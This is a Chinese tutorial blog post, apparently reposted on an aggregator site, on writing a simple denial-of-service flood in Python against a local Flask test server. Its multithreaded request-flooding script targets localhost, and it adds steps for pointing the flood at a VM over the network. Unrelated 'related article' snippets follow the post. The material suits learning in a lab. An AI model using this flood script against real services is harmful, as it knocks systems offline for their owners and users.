python-简单的dos攻击

前言

这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)

创建一个以python编写的后端web服务(好观察)

安装flask

pip install flask 
from flask import Flaskapp = Flask(__name__)@app.route("/")
def index():return 'hello world'if __name__ == '__main__':app.run(debug=True)

python编写DOS攻击服务

pip install requests
import requests
from requests.exceptions import RequestException
import threadingdef requestGetOne():try:response = requests.get('http://127.0.0.1:5000', timeout=5)response.raise_for_status()  # 检查响应状态码print(response.text)except RequestException as e:print(f'请求出错: {e}')def print_numbers():for i in range(1000):requestGetOne()if __name__ == "__main__":threads = []for i in range(1000):  # 创建1000个线程thread = threading.Thread(target=print_numbers)threads.append(thread)thread.start()# 等待所有线程结束for thread in threads:thread.join()print("All threads have finished.")

访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)

这只是在本地端进行的DOS,若是有应用程序在VMWare虚拟机上

  1. 需要开启桥接模式物理网络连接状态
    在这里插入图片描述
    这样你的ifconfig才会是
    在这里插入图片描述
    eth0才会有固定IP
  2. 我们要在本地计算机ping一下这个IP地址(本机&虚拟机–在同一个网关下)
#ping ip
ping 172.23.233.164

在这里插入图片描述
说明俩者之间有连接
3. 在不同IP中需要进行访问那必然要经历跨域访问(前后端分离也是如此),一般在后端进行跨域访问,但为了学习的方便我们都会让它所有都能访问,后端web就要改成

from flask import Flaskapp = Flask(__name__)@app.route("/")
def index():return 'hello world'if __name__ == '__main__':app.run('0.0.0.0',port=5000)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/53201.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

打卡第60天------图论

加油!尽管前面的道路很困难,但是依然要坚持下去✊。 在算法训练营我学到了很多东西,对于算法的方法来说真的是涨知识了,对于我一个非科班出身,半路转行的干IT的人来说真的给予了我很大的帮助。我会继续回头看代码随想录…

前端入门了解

1. 网页 1.1 网页概述 1.2 超文本标记语言 1.3 网页的形成 2. 浏览器了解 网页需要通过浏览器来展示,下面是关于浏览器的两点; 国际上通用的浏览器有如下六个(百度,360,uc等是主要在国内使用), 3. We…

Apple 重發iOS 17.6.1 修正版

蘋果又再次替 iPhone 和 iPad 用戶釋出 iOS 17.6.1更新(21G101),這次更新與8日所推出的 iOS 17.6.1 正式版相同,官方在更新說明內也沒有提到任何修改,依舊是維持修正進階資料保護的問題 iOS 17.6.1 更新修正版內容重點…

面向切面编程

1. 增删改查 三层干啥 2. 文件上传 第三方api(接口) 调用准备 -- 官方代码 -- 工具类 3. 登录鉴权 登录(查询 密码) 鉴权(拦截器)登录完成后--后台生成token返回给浏览器--每次浏览器发请求时候携带token--服务器需要使用拦截器拦截请求,获取token--校验token生成 token校…

借老系统重构机会我写了个groovy规则引擎

公司老系统的重构计划早就有了,为了对Java硬编码的各种校验规则进行重构,特地参考了相关技术,最终选择了groovy进行了系统的学习,并编写了一个即插即用的轻量级规则引擎。 文章目录 项目背景技术选型groovy的性能groovy脚本执行线…

【拉取Git项目到本地,知识小记,后续再改】

前提:Git已经安装好 https://blog.csdn.net/mukes/article/details/115693833 安装至步骤2.2.4即可 第一步创建本地项目目录 第二步获取他人提供的项目git地址或者自己在网上找的他人项目的git地址 Git 全局设置: git init git config --global user.name “ASxx”…

1998-2023年上市公司金融/信贷/资本资源错配程度数据(含原始数据+计算代码+结果)

1998-2023年上市公司金融/信贷/资本资源错配程度数据(含原始数据计算代码结果) 1、时间:1998-2023年 2、来源:上市公司年报 3、指标:证券代码、year、应付账款、负债合计、利息支出、行业代码、是否ST或PT、上市日期…

Webpack详解与配置环境

webpack:webpack网址 1、工作原理: Webpack是一个非常强大的静态模块的打包工具。从文件入口开始,递归解析以来关系,然后将所有模块打包成一个或多个budle文件。 2、webpack核心概念: Entry:入口起点(en…

Android的Launch

看了一下资料,其实差别并不像一般的bootloader之类那么大。基本上还是和普通的APK程序差不多,基本上是AMS启动的第一个带界面的程序,这个界面也是常规的开发模式。可以设置各种view,可以设置背景。 然后在这个程序中,…

JVM:垃圾回收器 垃圾收集器分类 评估GC的性能指标

GC:垃圾回收或者垃圾收集器 一、垃圾收集器分类: 1.1按用于垃圾回收的线程数分类 分为串行垃圾回收器和并行垃圾回收器 指的是在同一时间段内只允许有一个CPU用于执行垃圾回收操作,此时工作线程被暂停,直至垃圾收集工作结束  …

如何使用 yum 在 CentOS 6 上安装 nginx

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。 状态 状态: 已弃用 本文涵盖的 CentOS 版本已不再受支持。如果您目前正在运行 CentOS 6 服务器,我们强烈建议升…

模板:系统建设方案

系统建设方案是一个综合性的文档,旨在详细规划、设计和实施一个特定的系统。以下是一个通用的系统建设方案框架,涵盖了从需求分析到系统上线及后期维护的各个阶段: 一、项目简介 1.1 项目名称 明确项目的具体名称,以便后续文档…

Linux——redis理论、安全模型

一、redis 主要的data type redis 的原生客户端redis 支持通过python php golang 等语言连接redis 主要适用场景 二、redis如何进行数据存储 非关系数据库 不使用二维表 redis 使用键值对完成数据的存储redis一共有16个库 ,不同的库使用编号 0-15redis 在…

设计模式-装饰器代理观察者

3.7 装饰器模式(代码见vs) 装饰器又叫做包装模式,允许向一个现有的对象添加新的功能,同时又不改变其结构。这种模式创建了一个装饰类,用来包装原有的类,并在保持类方法完整性的前提下,提供了额…

经验笔记:负载均衡

负载均衡经验笔记 负载均衡是现代分布式系统中不可或缺的一部分,旨在通过优化资源利用率、最大化吞吐量、最小化响应时间、避免过载等方式来改善服务质量和用户体验。以下是关于负载均衡的一些经验和指导原则,包括多种实现方式。 1. 理解负载均衡的基本…

力扣1.两数之和(哈希表)

class Solution {// 定义一个名为twoSum的方法&#xff0c;接收一个整数数组nums和一个整数target作为参数public int[] twoSum(int[] nums, int target) {// 创建一个HashMap&#xff0c;用于存储数组中的元素及其对应的索引Map<Integer, Integer> map new HashMap<…

前端报文加密

前端加密功能 前端提供简单的AES对称加密算法&#xff0c;注意key 和后端网关配置相同&#xff0c;这里打包混淆后&#xff0c;相对安全。 &#xff08;lun-ui\src\store\modules\user.js、base-gateway-dev.yml&#xff09; 后端解密功能 使用hutool提供的工具类进行解密pub…

Linux之grafana+onealert报警

grafana介绍 Grafana是一个开源的度量分析和可视化工具&#xff0c;可以通过将采集的数据分析&#xff0c;查询&#xff0c;然后进行可视化的展示,并能实现报警。 grafana安装与登录 在grafana服务器上安装grafana 下载地址&#xff1a;https://grafana.com/grafana/downloa…

Opencv中的直方图(4)局部直方图均衡技术函数createCLAHE()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 创建一个指向 cv::CLAHE 类的智能指针并初始化它。 函数原型 Ptr<CLAHE> cv::createCLAHE (double clipLimit 40.0,Size tileGridSize…

关于Harmony的学习

day20 一、ES5严格模式 ES5提出严格模式&#xff0c;能让代码更规范&#xff0c;分为全局和局部。 进入严格模式语法&#xff1a;use strict 规则&#xff1a;①声明变量时必须使用var&#xff0c;不然会报错。 ②函数参数不能有重复的名称 ③函数名称括号调用函数&#xff…